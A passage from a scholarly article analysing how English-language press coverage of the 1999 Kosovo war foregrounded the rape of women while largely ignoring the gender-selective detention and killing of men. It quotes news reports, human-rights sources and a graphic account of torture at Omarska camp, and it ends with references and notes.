more ghastly" than 100 men shot and burned to death -- some indication of the relative value of the worthy versus unworthy victims. (Loeb and Smith, 1999; emphasis added.)(15)  For an especially interesting example of the trend, we can turn to an article by Tommaso di Francesco and Giacomo Scotti, published in Le Monde diplomatique at the midpoint of the Kosovo war. The authors wrote that in the "process of vicious mutual ethnic cleansing" in Bosnia-Herzegovina,  physical and psychological terror stemmed largely from the barbaric treatment inflicted in the prison camps created by both Croats and Serbs -- particularly, in the case of the Serbs, the notorious Omarska camp with its raping of women. (di Francesco and Scotti, 1999.)  This depiction of the horrors of Omarska -- one of the three concentration camps closed after international protests in late 1992 -- is a mind-bogglingly casual inversion of the gendered reality. Helsinki Watch gave the population of Omarska as 2,000 men and 33 to 38 women. In an article for International Affairs on "The Crime of Appeasement in Bosnia," Ed Vulliamy, who witnessed the release of Omarska's survivors, wrote:  Omarska had been a place where a prisoner was forced to bite the testicles off a fellow inmate who, as he died of pain, had a live pigeon stuffed into his mouth to stifle his screams. The guards responsible for this barbarism were described by one witness as "like a crowd at a sporting match." Another man was forced to bark like a dog and lick at motor oil on the ground while a guard jumped up and down on his back until it snapped. Prisoners, who survived by drinking their own and each other's urine, were constantly being called out of their cramped quarters, by name. Some would return caked in blood, bruised black-and-blue or slashed with knives; others would never be seen alive again. Special squads of inmates were ordered to load their corpses on to trucks. (Vulliamy, 1998: 74-75.)(16)  Helsinki Watch wrote in Volume II of their study of War Crimes in Bosnia-Herzegovina that Omarska indeed "appears to have been the most brutal of the four Serbian-operated camps that were discovered by the press during the summer of 1982. Almost all former Omarska detainees interviewed by Helsinki Watch claimed that they had been bestially beaten, that scores had died from the beatings and that some were executed." There is no evidence that any of the women at Omarska were killed.(17) The rape of the small number of women at the camp was certainly generalized and atrocious. But by what standard is Omarska "particularly ... notorious" for the rape of its women detainees, when thousands of civilian males were viciously tortured, hundreds killed -- and almost certainly a great many more raped and sexually abused than women, given the unbridled sexual sadism that pervaded the camp?  V. Orders of Gendering  Let us try to bring additional structure to this discussion by distinguishing between first-, second-, and third-order gendering. These can be seen as analytical "rings" spreading outwards, progressively drawing into the analysis greater territorial reach, longer historical time, and broader applicability to the gender group under discussion.  A first-order gendering is focused at the level of the individual person, case, or event. In the Kosovo context, this might be a reference to the rape of a particular Kosovar woman, or a given case of mass rape; for Kosovar males, it might be a reference to the gender-selective execution of a man, or a given mass execution.  A second-order gendering of the same subject seeks to isolate a pattern of victimization. In so doing, it directs the audience to broader conceptual and experiential similarities that bind individual persons, cases, and events -- though the pattern is still restricted in its territorial reach, geographical scope, and historical time. In the context of the Kosovo conflict, this could mean isolating a pattern of rape of women in the conflict, or a pattern of gender-selective executions of men.  A third-order gendering extends the analysis beyond the boundaries of the immediate conflict, region, and contemporary time-frame. It usually seeks to make broad generalizations about regional, global, and/or historical trends. Again to use our Kosovo examples, this might involve placing the rape of Kosovar women against the broader backdrop of rape as a tool of war in the Balkans in the 1990s. It might go further still, and examine the sexual assault of women as a feature of warfare across civilizations and throughout history. A similar perspective on gender-selective executions of men would seek to place these killings against a regional and global-historical backdrop.  I take it as a normative and analytical "given" that while first-order, second-order, and third-order treatments may be entirely worthy in and of themselves, second-order and third-order framings are necessary if an effective gender analysis is to be mounted. That is to say, the analysis cannot remain stuck at the level of individual cases or conflicts if it is to contribute to a sophisticated understanding of gender. Indeed, any conceptualization of "gender" is inconceivable without a second- and third-order framing. A scholarly analysis that confines itself to first-order analyses may turn up extraordinarily useful and important material. But such analyses cannot buttress reality-claims beyond their own pre-set boundaries.  If, then, we find that there is a consistent and systematic according of second- and third-order framings to the experiences of one gender group, and a near-total absence of such framings for the other, there may be grounds for intellectual concern. If we find the particular experiences of suffering and victimization similarly treated, there is grounds for additional - normative and ethical -- concern. If we find, for example, that the torture of males is widely acknowledged and discussed, but the widespread rape of women is ignored, then we might legitimately object. Likewise, we may find that the rape of women is prominent in media discussion and/or policy initiatives, and contextualized internationally and historically, while the torture and even the mass murder of males is rarely noted and virtually never accorded a second- or third-order framing. If so, we should have the courage to acknowledge that there is a yawning gap in the analysis; and that the disadvantaged or systematically excluded group deserves greater consideration than it has traditionally received.  Let us now consider the press coverage of Kosovar men according to this framework. It can be said with confidence that only the barest fragments of first- and second-order framings emerged in this coverage. One can see glimmers of comprehension in the occasional references to a pattern of male-selective killing in the Balkans conflict, and the attention paid to the phenomenon of male detentions and disappearances after the release of the inmates from Smrekovnica and Liplje prisons in May 1999 (see below). But the coverage in no way approximated the kind of nuanced historical analysis that imbued treatments of Kosovo's women rape victims. For the most part, the civilian male victims of the slaughter were buried in a slew of other designations -- "Kosovar," "ethnic-Albanian," etc. -- and their specific vulnerabilities were thereby blurred into the larger backdrop of ethnic conflict.  Neither The New York Times nor The Washington Post -- the two major "agenda-setting" newspapers in the United States - published a single story or editorial focusing on the phenomenon of gender-selective mass executions. The closest the Times came to a meaningful "second-order" and "third-order" gendering of the slaughter, to my knowledge, was a story by John Kifner, early in Operation Horseshoe: "What is striking about the refugees is that they are largely women, children and old men. The young men, they say, are either hiding in the mountains or have been separated out by the Serbs and taken away to some unknown fate. While there is no way to verify independently the accounts of killings ... their similarity suggested that they were credible. Earlier Serbian efforts to remove Muslims from parts of Bosnia were accompanied by numerous massacres." (Kifner, 1999.) The excerpts came eight paragraphs into the story, and the "striking" subject was then dropped. Certainly it was never deemed worthy of a story in its own right. The flicker of a higher-order gendering (that is, the isolation of a pattern, and the citing of the Bosnian precedent) was about as faint as could be.  The Post, for its part, did publish an editorial, "Captive in Serbia," pointing out that "Many Kosovars, particularly men, are being held captive," and referring to "the imprisonment of some Kosovo men" as "undoubtedly part" of a "planned ... destruction of ethnic Albanian Kosovo as a working society." But the editorial appeared on 1 July, more than three months after the outbreak of the war and weeks after its end. It concerned itself, moreover, only with the thousands of prisoners transported alive from Kosovo to Serbia at the end of the Yugoslav occupation. (The Washington Post, 1999.) Might some concerted attention to the pattern of gender-selective detentions and mass killings earlier in the conflict have changed the course of the gendercide? But the reader was again confronted, in Post coverage, with only glancing references to "men missing" and "summary executions of men," except on the rare occasions when policymakers stressed the particular vulnerability of "battle-age" males.(18)  The contrast with the coverage of women rape victims was striking. We have already seen that on regular occasions the rape of women was privileged over the murder of non-combatant males. Furthermore, virtually every news outlet ran at least one story on the subject; second-order and third-order framings, placing the crime against the backdrop of the Balkans war and even the whole history of human conflict, were standard. Consider, for example, the following reports:  Yugoslav forces use ancient ways to break civilian spirits  Throughout history rape has been one of the most common but least documented acts of violence committed during wartime. Yet it has been an inescapable aspect of many conflicts, from the rape of the Sabine women in Ancient Rome to the allegations that the Serbs set up 'rape camps' during the recent war in Bosnia. ... Few reliable figures exist for the incidence of rape in wartime before the Balkan wars this decade but anecdotal evidence suggests that it was widespread. It has been alleged that Nazi troops indulged in mass rape during the second world war, particularly on the eastern front where Jewish, Gypsy, Polish and Russian women were all subject to systematic sexual violence. ... The Japanese army was notorious for its sexual torture of Korean and Chinese women during the second world war. ... More recently, Pakistani troops were alleged to have raped 200,000 Bengali women during the battle for Bangladeshi independence in 1971. ... In Bosnia, according to United Nations estimates, 20,000 women were raped by Serbian army units, apparently as part of a systematic policy. (Kettle, 1999.)  Rape as a Weapon of War  ... While fleeing Pristina on April 1 ... ["B."] said she was torn away from her family and raped in a garage by four masked soldiers. They then freed her in time to board a packed refugee train that took her and her family into exile. Similar stories are starting to emerge from ethnic Albanian refugees who have crossed from Kosovo into Albania and Macedonia in recent weeks. Western officials and human rights groups say that scores of women have reported being raped since the Belgrade government started waging all-out war in Kosovo against separatist rebels and ethnic Albanian civilians supporting rebel demands for independence. ... During [the Bosnian] conflict, Bosnian Serb forces carried out a systematic campaign of rape against Bosnian Muslim and Croat women, resulting in several indictments by the international war crimes tribunal at the Hague. ... (Smith, 1999.)  US probes Serb rape allegations  The United States is investigating reports that young Kosovo women are being systematically raped at a Serb army camp and that up to 20 of them have been killed. Pentagon spokesman Ken Bacon [said] ... "This is a very eerie and disturbing echo of documented instances of rape and killing of women in Bosnia during the Bosnia war and it is obviously outrageous that this is occurring." ... During the 1992 war in Bosnia-Herzegovina thousands of women were forced into "rape camps" by Serbian militia. The accounts received by the Pentagon are backed up by similar reports of systematic rape now emerging from Kosovo refugees who have fled the province. ... Consistent accounts are emerging of soldiers separating women from groups of refugees, apparently with the intention of raping them. (BBC Online, 1999b.)  Albanian Tells How Serbs Chose Her, 'the Most Beautiful One,' for Rape  ... Few other issues have become as highly charged as rape in the former Yugoslavia. During the war in Bosnia, Serbian forces were accused of systematically raping women as a deliberate tactic of war, a particularly cruel means, human rights investigators said, of terrorizing and demoralizing one's enemy. Bosnian Serbs were accused of operating "rape camps" where Muslim women were held captive and repeatedly assaulted by Serbian soldiers. (Rohde, 1999.)  The framing of the first excerpt is notable. The experience of women rape victims is placed against a backdrop, not only of the Kosovo war and the wider Balkans conflict, but of humanity's "ancient ways." (Note also the headline referring to "rape as a weapon of war.") The second-order framings in all of the excerpts are powerful and detailed. And what these brief extracts do not capture is the nuanced and highly-personalized treatment generally given to the individual female victims. The reader cannot help but be drawn into their stories and suffering, and respond with moral outrage, which is presumably the intent.  In stark contrast, I have never seen a detailed third-order treatment of the gendercidal killings of males in Kosovo (my own aside), let alone one with a historical scope comparable to the first excerpt. But the slaughter of "battle-age" non-combatant men is at least as prominent and enduring a "weapon of war," in the Balkans and throughout history, as is the rape of women -- and a more brutal and severe one, by any reasonable standard. Even second-order framings were exceedingly rare and usually fleeting.  My sample of media coverage was broadest and most rigorous between 26 March and 25 April. This month-long period surely encompasses weeks when intimations of humanitarian disaster and "gendercide" were widespread, and confronted western governments and organizations, as well as media observers, with critical moral and practical choices. During this period, the sample set turned up only the most fragmentary glimpses of a crisis in Kosovar male ranks. Perhaps the most consistently attentive media outlet was the Agence France-Presse, which regularly issued dispatches citing David Scheffer's (and later the U.S. Information Agency's) estimates of 100,000 or more men "unaccounted for." As early as 26 March, the AFP delivered a succinct second-order framing of the "disturbing reports of mass killings trickl[ing] out of Kosovo." It cited U.S. State Department spokesperson James Rubin's reference to "ominous indications that men of fighting age were separated from their families," as did a number of other sources; but it went further, with a brief third-order reference to the fact that "Such separations of men from women was [sic] commonplace in massacres carried out during the 1992-95 war in Bosnia between Moslems, Serbs and Croats." (Agence France-Presse, 1999d.) To be sure, this is not a very extensive or sophisticated third-order framing, and the depiction of gendercide in Bosnia as the result of a "war ... between Moslems, Serbs and Croats" rather blurs the primary agents of the slaughter. Indeed, it is pathetic that such passing references have to be unearthed like precious jewels in the media coverage, and presented as examples of what should have been a generalized and much more in-depth media treatment. But the AFP, with many lapses into blindness and banality like other media, nonetheless stood out for the frequent attention it paid -- virtually alone -- to the fate of Kosovo's men.  Speaking of the entire month-long sample, I found only one article, by Alan Freeman of The Globe and Mail, that actually focused on the mass detention and apparent gender-selective killing of Kosovar males. By "focusing," I mean with both a headline and a lead that alludes to the subject. It appeared in The Globe on 6 April, and deserves to be cited at length:  Missing: Kosovo's young ethnic-Albanian men  Women, children, aging men pouring over the borders; reports say 17-to-45 year olds massacred or in hiding KUKES, Albania -- As UN aid worker Laura Boldrini surveyed the steady stream of refugees flowing over the border from Kosovo at the remote Qafa Prush border post, she thought she had been transported to another planet -- "a planet without men, only women and children." "It was unbelievable," she said yesterday, estimated that 90 per cent of those crossing at the border point on Saturday were women, children and aging men. "There were no men. The old men were there, but I'm talking about young men between 17 and 45." Kosovo's young ethnic Albanian men are missing. They are believed to have been massacred by Serbian forces or to have fled to the Kosovo hills, possibly joining the Kosovo Liberation Army. Eyewitness reports collected from refugees show a pattern of killings of young male Kosovar Albanians. They are reported to have been gunned down with automatic weapons, stripped naked and used as human shields or, in a case alleged yesterday, had their throats slashed at a mosque. Most of these reports cannot be verified. One international aid worker, who asked not to be identified, said he fears that Kosovo has been turned into a giant killing field. "This is going to make the My Lai massacre look like a Christmas party," he said, referring to an infamous killing of Vietnamese villagers by a U.S. Army platoon. ... Belzat Tertini, 62, said that as many as 80 people were killed at a Muslim place of worship in the centre of the city. Many were young men who had gone there for a prayer service, he said. ... "Everybody is in the mountains," [Ramadan Gashi] said. But Mr. Gashi worried that many are marooned without food or arms. Sixteen-year-old Banan Kadria, who fled to Kukes with his family from the village of Lumarsh, said the danger came when they encountered Serb police checkpoints. "When I entered the checkpoints I was covered with blankets at the end of the tractor, and they didn't see me," he said, adding that his family travelled at night. "During the day, many young men were arrested." ... (Freeman, 1999.)  One other Globe article, by Geoffrey York, deserves honourable mention for a forceful second-order gendering. York zeroed in on the firestorm that had descended upon Kosovar males:  Most of the refugees who arrived yesterday [4 May] were women, children, and the elderly. Young men were conspicuously absent. Many of the refugees were exhausted, crying, and obviously in shock. They said Serb police had taken away hundreds of young men from the refugee convoys. Aid workers said the refugee accounts strongly suggested that the Serbs have massacred more of Kosovo's young men. "The common thread in their stories is that a lot of young men have been taken off the tractors or taken away before the tractors left," said Ray Wilkinson, a spokesman for the United Nations refugee agency. "They're talking about killings again. A wide area of Kosovo is being cleaned out. Men are being taken away and possibly killed." Some refugees spoke of a massacre of dozens of men in northern Kosovo about three days ago. Others said the Serbs only allowed one man to remain in each refugee wagon -- the driver. (York, 1999.)  From a more random sampling of reports on English-language electronic media during this period, one other article eventually turned up from The Los Angeles Times, using two of the same principal sources as the Freeman piece just quoted (U.N. refugee worker Laura Boldrini and the humanitarian worker with the My Lai analogy). After citing Boldrini, John Daniszewski wrote: "Like many aid workers and journalists, Boldrini has observed that the overwhelming majority of refugees streaming in from Kosovo are female, and that those males who have made it through the gauntlet of Serbian checkpoints have tended to be the old and the very young. ... Along with persistent reports of summary executions and mass internments of young men inside Kosovo, the low number of ethnic Albanian men making it over the border since the exodus began last month has raised fears here. 'There's a story happening over there that's going to make the My Lai massacre look like a Christmas party,' one humanitarian worker warned Monday." There followed a crystalline passage of analysis and speculation: "Where have Kosovo's young men gone? To hear refugees now in Albania tell it, many have been killed, often gruesomely. Others reportedly have been arrested and held in undisclosed locations, or have been forced to serve as 'human shields' against strikes by NATO or by Kosovo Liberation Army guerrillas. But many say they believe most military-aged men are hiding in the forests of Kosovo, either because they have joined the KLA or because they dared not accompany their families through police checkpoints for fear of being arrested or killed." (Daniszewski, 1999.)  Good as Daniszewski's piece was, though, it again limited itself to the Kosovo context, failing to place the gendercide in regional, let alone global-historical, perspective. This largely exhausted the attempts to conceptualize and report the "genocidal cull of ... males" in Kosovo during the critical first month of the slaughter. The New York Times, The Washington Post, The Christian Science Monitor, the BBC, The Guardian -- all appear to have published nothing comparable to the tiny smattering of articles sampled above. Even the provision of one or two counter-examples -- an editorial here, a column there -- would hardly offset the general impression of a conspiracy of low-key mumbles, if not outright silence, on the gendercidal assault against ethnic-Albanian males.(19)  The release of about two thousand men from Smrekovnica and other Serb detention facilities, in late May 1999, marked the one occasion on which victimized males came to the forefront of the discussion. The result was some solid and nuanced reporting of the men's experiences. This came very late in the game, however, and it was notable how infrequently terms like "torture" were applied to the men's experiences. More common were phrases like "mistreatment," "maltreatment," "beatings," "abuse" -- all of which seems inadequate to capture the sadism of the Serb jailers (akin, perhaps, to describing rape as "unwanted sexual attention").  It was equally striking that what second-order gendering there was of the prison releases -- that is, coverage referring to a pattern of gender-selective detentions and disappearances in Kosovo -- suggested that a quandary or "mystery" somehow had been solved by the release of the men. Thus John Ward Anderson, in perhaps the best article on the released, wrote in The Washington Post: "It was feared that many [men] were dead, locked in camps, or being held by the Serbs as human shields against NATO bombings. ... Thousands of female refugees have told of being expelled to neighboring countries while their husbands, sons and brothers were ordered out of cars and convoys at gunpoint and forced to stay behind. Little has been heard of the men's fate, but human-rights workers and other observers have feared the worst. ... There was good cause for concern." (Anderson, 1999.) The International Herald Tribune, for its part, declared that the "Gaunt Men Arriving in Albanian Provide[d] Answers to a Chilling Puzzle" and "One of the Scarier Questions" in the Kosovo war. "What happened to the thousands of ethnic Albanian men -- from boys barely of fighting age to grandfathers -- who were separated from their families in recent weeks in Kosovo and shoved into trucks, and who then disappeared?" (Fisher, 1999b.)(20)  The comments, and similar ones, invite two questions. First, where were the specific expressions of "fear" and "concern," the posing of "one of the scarier questions," the references to the "chilling puzzle," two months or one month earlier, when they might have made a difference? And how did the release of a mere 1,000 men (later increased to 2,000) obviate, or even meaningfully mitigate, the possibility that "many [men] were dead, locked in camps, or being held by the Serbs as human shields," as The Washington Post put it? The releases were used as an excuse to declare a general relief and go home, analytically speaking. The men still left behind, at Smrekovnica and elsewhere, would become subjects of analysis and concern only after the war, when thousands of them were spirited away to unknown fates in Serbia. Then, suddenly and rather bizarrely, there was a spate of high-sounding articles and expressions of concern, such as this editorial from The Washington Post:  For a sizable but unknown number of [Kosovars] ... return still is not possible. Many Kosovars, particularly men, are being held captive inside Serbia. Serbian officials have told the Red Cross that they are holding more than 2,000; according to other estimates, the number may be 5,000 or even greater. Some have been prisoners for many months ... Others were studying or working in Belgrade when NATO began bombing in March and were promptly rounded up. And many are believed to have been trucked across the border as Serbian forces retreated earlier this month. Given the Serbian torture chambers NATO troops have discovered in Kosovo, no one can feel easy about the detainees' condition. A few days ago Serbian authorities released 166 of these prisoners, gaunt but alive. The rationale for the small release is as unclear as the motivation for keeping the larger number. Mr. Milosevic seems to have planned the destruction of ethnic Albanian Kosovo as a working society. The imprisonment of some Kosovo men, like the killings and forced expulsion of others, was undoubtedly part of this plan. ... The war is not over until Mr. Milosevic accounts for the Kosovars he has kidnapped and allows them to go home. (The Washington Post, 1999b; emphasis added.)  Again, where was the editorial on the "imprisonment of Kosovo men" and the "killings and forced expulsion of others" two months earlier, when it might have helped to arouse concern and influence the policy agenda?  This analysis should not close without attending to one of the most extraordinary English-language media commentaries during the war -- one that stands, given its author's prominence, somewhere between an opinion-editorial article and an insider contribution to the policy discussion. This was a piece by Daniel Ellsberg in The New York Times -- the daily which in 1970 had broken one of the biggest political stories of the postwar era by publishing the "Pentagon Papers" that Ellsberg, a renegade Defense and State Department official, fed it. Ellsberg's article was entitled "Contemplating A Fatal Mistake." (Ellsberg, 1999.) It was unique, in the range of materials I consulted, in focusing on the situation within Kosovo; examining the specific vulnerabilities of men, among others; and arguing that these considerations should govern NATO policymaking.  Ellsberg applauded the passing reference to the situation within Kosovo in a pro-intervention "open letter" signed by luminaries including Zbigniew Brzezinski, Saul Bellow, and Susan Sontag. The signatories had stressed the necessity of "saving the lives of the nearly one million Kosovars now facing death from starvation and murder within Kosovo." The question, he argued, was "whether a ground invasion would serve that goal or whether, as I believe, it would be a death sentence for most Albanians remaining in Kosovo." From there, Ellsberg moved into analytical territory charted by no other prominent commentator in the English language, to my knowledge:  By all accounts, it would take weeks to months to deploy an invasion force to the region once the decision to do so was made, and Slobodan Milosevic already has troops there fortifying the borders. Wouldn't the prospect of an invasion lead him to order his forces in Kosovo to kill all the military-age male Albanians and hold the rest of the population as hostages rather than continuing to deport them? We do not know how many male Kosovars of military age -- broadly, from 15 to 60 years old -- have been killed already. But even if the number is in the tens of thousands (NATO has conservatively estimated 4,600 civilian deaths), that would still mean that most of the men were still alive. Facing invasion, would Mr. Milosevic allow any more men to leave Kosovo to be recruited by the KLA, or to live to support the invasion? The Serbs could quickly slaughter 100,000 to 200,000 male Kosovars. (In Rwanda five years ago, an average of 8,000 civilians a day were killed for 100 days, mostly with machetes.) Obviously, Mr. Milosevic and his subordinates are brutal enough to do that. If they haven't done it already (and there is no testimony that they have on that scale) it may well be because they fear that such annihilation would make an invasion inevitable. A commitment now to ground invasion would remove that deterrent, just as the commitment in March to begin bombing in support of an ultimatum and the consequent withdrawal of international monitors removed an implicit deterrent against sweeping ethnic cleansing and expulsion.  "As for the remaining civilians in Kosovo -- women, children and old people," wrote Ellsberg, "tens of thousands of them could be used as human shields, in a way never before seen in warfare":  Fighting in built-up areas, NATO troops would probably be fired on from buildings that were packed on every floor with Kosovar women and children. Using the traditional means -- explosives, artillery and rockets -- to destroy those buildings would make NATO forces the mass executioners of the people we were fighting to protect. I believe these reasons alone are enough to rule out the option of a ground invasion. Merely preparing for such an invasion, which many have urged as a way to threaten Mr. Milosevic, would give him an urgent incentive to exterminate remaining male Kosovars in Kosovo. Carrying out the threat would eliminate most of the women and children. ... Distasteful as it is to bargain with Mr. Milosevic, the fact is that he holds a million hostages. There is only one way for NATO to stop the ethnic cleansing, avert even worse slaughter and permit refugees to return safely. That is to negotiate as quickly as possible the immediate, unopposed introduction of a large international security force into Kosovo, capable of protecting the Albanians there as long as needed.  However one evaluates the accuracy of Ellsberg's analysis of the situation inside Kosovo (and I believe it will stand as very accurate), and whatever one thinks of the recommendation to open negotiations with Miloševi, there was nothing remotely comparable to Ellsberg's sophisticated analysis and insight in any other commentary sampled for this study. A full sensitivity was evident to both the gender and age variables as they had shaped the atrocities so far. Something of the process and periodicity of slaughter that often occurs in these cases was acknowledged (i.e., with the reference that the destruction of Kosovar civilians could proceed in two phases, the "threatening" males first, then the "women, children and old people"). Ellsberg understood that enormous numbers of people (tens if not hundreds of thousands) were at mortal risk. And most importantly, he argued that these factors were sufficient in themselves to rule out certain policies and warrant the adoption of others. In so doing, he briefly raised factors, issues, and options above the din of meaningless and misleading chatter in media and policy circles.  VI. Conclusion  Some generalizations may be advanced on the basis of this extensive, if not rigorously systematic, sampling of Kosovo coverage. The first is that males tend to assume the status of "non-persons" in analyses and reportage of conflict and genocide. Most commonly, they are effaced from the picture. If their presence is noted at all, it is likely to be obliquely, with the gender variable subsumed by others (e.g., race/ethnicity, nationality, abstract "victim" status, colour of clothing). Campaigns aimed at the gender-selective killing of males will tend to be ignored or underemphasized in media coverage, in favour of a focus on secondary policies that target "worthy" victims (e.g., rape and harassment of women, forced expulsions). If the character of "gendercidal" strategies is noted, it will tend to be relegated to the later and less prominent reaches of coverage. All of these strategies can be isolated not only in media coverage, but in the humanitarian equation (e.g., the reports of organizations like Human Rights Watch and Amnesty International) and in policy statements by national governments, although there is no space to enter into a detailed discussion of these themes in the Kosovo context. Very similar patterns reasserted themselves during the slaughter in East Timor (September-October 1999), which followed upon the Kosovo war by a matter of mere months.(21)  The conclusions that can and should be drawn from this body of evidence and argument depend very much on whether one views males as "natural" targets of victimization, and therefore irrelevant and unnewsworthy; or whether, on the other hand, one sees them as equally deserving of attention and protection in the face of violent assaults, up to and including genocidal mass killing. My own preferences are no doubt apparent. In my opinion, no meaningful claim to humanity, fairness, or analytical accuracy can be advanced by those who, consciously or unconsciously, would consign half the human race to second-class status in the humanitarian and policy equation. This article has argued that an alternative framework is possible, and needs to be adopted rapidly to ensure that all victims of violence receive the empathy, attention, and assistance they require.  Books about Kosovo from Amazon.com NOTE: If the box instead shows generic Amazon information,  please click the "Refresh" button on your browser.  Sources  Agence France-Presse (1999a). "More than 250 bodies exhumed from mass graves in Bosnia." 5 October.  ----- (1999b). "War crimes prosecutor arrives in Kosovo." 1 July.  ----- (1999c). Dispatch of 14 April.  ----- (1999d). Dispatch of 26 March.  Anderson, J.W. (1999). "In Singular Move, Serbs Free 1,000 Ethnic Albanian Men in Kosovo." International Herald Tribune (from The Washington Post), 24 May.  BBC Online (1999a). "Kosovo 'grave gangs' used, says NATO." 18 April.  ----- (1999b). "US probes Serb rape allegations." 9 April.  Bird, C. (1999). "The village that died when the butchers came at dawn." The Guardian, 17 January.  Christian Science Monitor (1999). "Alleged killing of 150 in Izbica may be the war's worst massacre." 22 April.  Dan, U. (1999). "Heat's on Milo[sevic] Amid Atrocity Evidence." New York Post, 16 June.)  Daniszewski, J. (1999). "Absence of men raises grim fears of Serb massacres." The Los Angeles Times (reprinted in The Vancouver Sun, 6 April).  Denitch, B. (1994). Ethnic Nationalism: The Tragic Death of Yugoslavia. Minneapolis: University of Minnesota Press.  Eggen, D. (1999). "Kosovo Village Stands at Heart of Crime Scene." The Washington Post, 18 July.  Ellsberg, D. (1999). "Contemplating a Fatal Mistake." The New York Times, 21 May.  Fisher, I. (1999a). "Rough Kosovo Graves Hold Loved Ones, and Evidence." The New York Times, 1 July.  ----- (1999b). "Gaunt Men Arriving in Albania Provide Answers to a Chilling Puzzle." International Herald Tribune, 31 May.  di Francesco, T., and Scotti, G. (1999). "Sixty years of ethnic cleansing." Le Monde diplomatique, May.  Freeman, A. "Missing: Kosovo's young ethnic-Albanian men." The Globe and Mail, 6 April.  Helsinki Watch (1993). War Crimes in Bosnia-Herzegovina, Vol. 2. New York: Human Rights Watch.  Herman, E. and Chomsky, N. (1988). Manufacturing Consent: The Political Economy of the Mass Media. New York: Pantheon.  Jones, A. (2000). "Gendercide and Genocide." Journal of Genocide Research, 2: 2, pp. 185-213.  ------ (1999). "East Timor: Where Are the People?" ZNet, 15 November.  ------ (1994). "Gender and Ethnic Conflict in ex-Yugoslavia." Ethnic and Racial Studies, 17: 1.  ------ (1992). "The Globe and Males: The Other Side of Gender Bias in Canada's National Newspaper." Edmonton: Gender Issues Education Foundation.  Junger, S. "The Forensics of War." Vanity Fair, October.  Kettle, M. (1999). "Yugoslav forces use ancient ways to break civilian spirits." The Guardian, 14 April.  Kifner, J. (1999). "Countless Refugee Accounts Give Details of Mass Killings." The New York Times, 6 April.  Kirkland, M. (1999). "New FBI team headed for Kosovo." UPI dispatch, 25 August.  Loeb, V., and Smith, R.J. (1999). "Evidence Mounts of Atrocities by Yugoslav Forces." The Washington Post, 10 April.  Lynch, D. (1999). "Trail of executions growing cold." USA Today, 25 June.  Moutot, M. (1999). "Kosovo massacre site assumes historic significance." Agence France-Presse, 1 July.  The New York Times (1999). "Special Report: Massacre of Civilians in Racak." 22 January.  Organization for Security and Cooperation in Europe -- Kosovo Verification Mission (1999). "Kosovo/Kosova As Seen, As Told." December.  Perlez, J. (1999). "Serbs' 'Ethnic Cleansing' Called More Aggressive in Kosovo Than in Bosnia." The New York Times, 28 March.  Press Association (1999). "New Evidence of Kosovo Massacres Cover-up -- Minister." 18 April.  Rohde, D. (1999). "Albanian Tells How Serbs Chose Her, 'the Most Beautiful One,' for Rape." The New York Times, 1 May.  Rummel, R.J. (1994). Death by Government. New Brunswick, NJ: Transaction Publishers.  Silber, L. and Little, A. (1997). Yugoslavia: Death of a Nation. New York: Penguin.  Smith, R.J. (1999). "Rape as a Weapon of War." The Washington Post, 13 April.  ------ and Vick, K. (1999). "Accounts of Serbian Atrocities Multiplying." The Washington Post, 22 April.  Traynor, I. (1999.) "KLA battered by Serbian offensive, but still recruiting and raising funds." The Globe and Mail (from the UK Guardian), 1 April.  United Press International (1999). Dispatch, 17 July 1999.  Vulliamy, E. (1998). "Bosnia: the crime of appeasement." International Affairs, 74: 1.  Warren, M.A. (1985). Gendercide: The Implications of Sex Selection. Totowa, NJ: Rowman & Allanheld.  The Washington Post (1999). "Captive in Serbia." 1 July.  Williams, D. (1999). "In Kosovo, Seeing Is Not Quite Believing." International Herald Tribune (from The Washington Post), 25 May.  York, G. (1999). "Serbs targeting educated elite, refugees say." The Globe and Mail, 5 May.  Notes  1. I am currently developing Mary Anne Warren's concept of "gendercide," defined as gender-selective mass killing, in an inclusive way, as Warren unfortunately does not (Warren, 1985). See Jones (2000) and the materials compiled on the Gendercide Watch website.  2. See "Young Men of Fighting Age," chapter 15 in Organization for Security and Cooperation in Europe -- Kosovo Verification Mission, 1999. Emphasis added.  3. n.b.: This refers to Usenet groups, not sites on the World Wide Web. These groups post the reports of the major English-language wire services -- Reuters, Associated Press, United Press Internatonal, and Agence France-Presse -- organized according to theme. The text posted is the complete text of the dispatch, not the truncated version that usually runs in daily newspapers. In the present case, this was significant, since so much valuable information and testimony was buried in the middle and later stages of the reportage.  4. This source is referred to in the text simply as The Guardian, although it includes material from The Observer. All references are to the Web version in any case.  5. I have addressed these issues in the Canadian context in Jones (1992).  6. I hope it hardly needs to be stressed, but I am not suggesting that the attention paid to children, women, and others is excessive and needs to be reduced. Rather, I argue that the palette of our sympathies should be expanded to include a class of civilian victims -- men, especially "battle-age" men -- that is usually rendered invisible in the analytical and humanitarian equation.  7. Ian Traynor's unforgettable phrase (Traynor, 1999).  8. For more on the "absent subject" motif, see Jones, 1994: 122.  9. See also the comments of Superintendent William Gent of New Scotland Yard, leader of the British forensics team in post-occupation Kosovo: "What we are looking to try to prove for [the Criminal Tribunal headquarters at] The Hague is that in any given case, there were women and children that were mercilessly killed for no reason at all. If we can establish how people died, and establish that they were ordinary women, children and men going about their lives, that will go a long way to proving that crimes occurred." Here, the majority category of victims is at least dropped in as an afterthought. Gent quoted in Eggen, 1999.  10. "... scores of bodies lying in a low row in a clearing ... 17 acquaintances, men ... rang[ing] in age from 18 to 80 ... a 60-year-old man shot ... three men from another village shot ... the killings of at least 40 men in the town of Velika Krusa ... [the] execution of nearly two dozen men suspected of helping the rebels ... officials say that they have credible evidence that government troops separated scores of men from women and children who had moved back into the village [Malisevo] during the winter; the men allegedly were then herded into the hills and have not been seen since." Smith and Vick, 1999; emphasis added.  11. The Post did not publish a letter seeking to correct the error. For another example of this strategy, which is not uncommon, see Moutot, 1999. This article referred to Racak only slightly less misleadingly as an "attack on a fleeing column of some 40 civilians, old men, women and children." The core component, the slaughter of "battle-age" males, was invisible in this equation. Curiously, a subsequent AFP dispatch (Agence France-Presse, 1999b) noted the death at Racak of "Ajet Emini ... along with 44 other men." This, although much closer to the truth, is not accurate either, since between one and three women were apparently among the 45 victims.  12. The most detailed tabulation of the Izbica death-toll that I have seen was provided by Ellen Knickmeyer of the Associated Press, who gave a breakdown of "142 people ... [killed] from March 28 to May 10." "In all," Knickmeyer writes, "seven of the victims were women. Two were children. Ninety-eight were men older than 50, up to the age of 102." Thus, if the 142 tally is accepted, adult males constituted 133 of the victims (94 percent). But this framing was not uppermost in Knickmeyer's mind (note the placement of women, children, and elderly men ahead of the wider gendercidal component).  13. Oblivious to the contradiction, Janowski mentions later in the article: "Women are telling stories of their men being tortured and shot. It's completely out of control."  14. In this light, it is 